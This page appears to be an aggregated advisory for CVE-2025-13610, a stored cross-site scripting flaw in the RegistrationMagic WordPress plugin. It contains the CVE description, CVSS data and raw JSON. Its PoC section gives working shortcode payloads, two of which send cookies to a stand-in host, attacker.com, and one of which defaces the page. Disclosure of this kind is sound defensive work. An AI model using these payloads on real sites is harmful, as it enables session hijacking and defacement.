Security Vulnerability Report
中文
CVE-2025-13610 CVSS 6.4 MEDIUM

CVE-2025-13610

Published: 2025-12-15 15:15:49
Last Modified: 2026-04-15 00:35:42

Description

The RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'RM_Forms' shortcode in all versions up to, and including, 6.0.6.7 due to insufficient input sanitization and output escaping on the 'theme' attribute. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

RegistrationMagic plugin ≤ 6.0.6.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13610 PoC - RegistrationMagic Stored XSS via RM_Forms Shortcode // Author: Security Researcher // Date: 2025-12-15 // Method 1: Basic XSS via theme attribute in RM_Forms shortcode [RM_Forms theme='"><script>alert(document.cookie)</script>'] // Method 2: Cookie stealing payload [RM_Forms theme='"><img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)'>'] // Method 3: Session hijacking payload [RM_Forms theme='"><script>document.location='https://attacker.com/hijack?session='+document.cookie</script>'] // Method 4: Defacement payload [RM_Forms theme='"><script>document.body.innerHTML='<h1>Hacked</h1>'</script>'] // Note: Attacker needs Contributor role or higher to inject this shortcode // The XSS payload will execute when any user views the page containing the shortcode

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13610", "sourceIdentifier": "[email protected]", "published": "2025-12-15T15:15:48.500", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'RM_Forms' shortcode in all versions up to, and including, 6.0.6.7 due to insufficient input sanitization and output escaping on the 'theme' attribute. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3414853/custom-registration-form-builder-with-submission-manager", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4be512bd-190a-415a-bd20-a49373f63fbb?source=cve", "source": "[email protected]"}]}}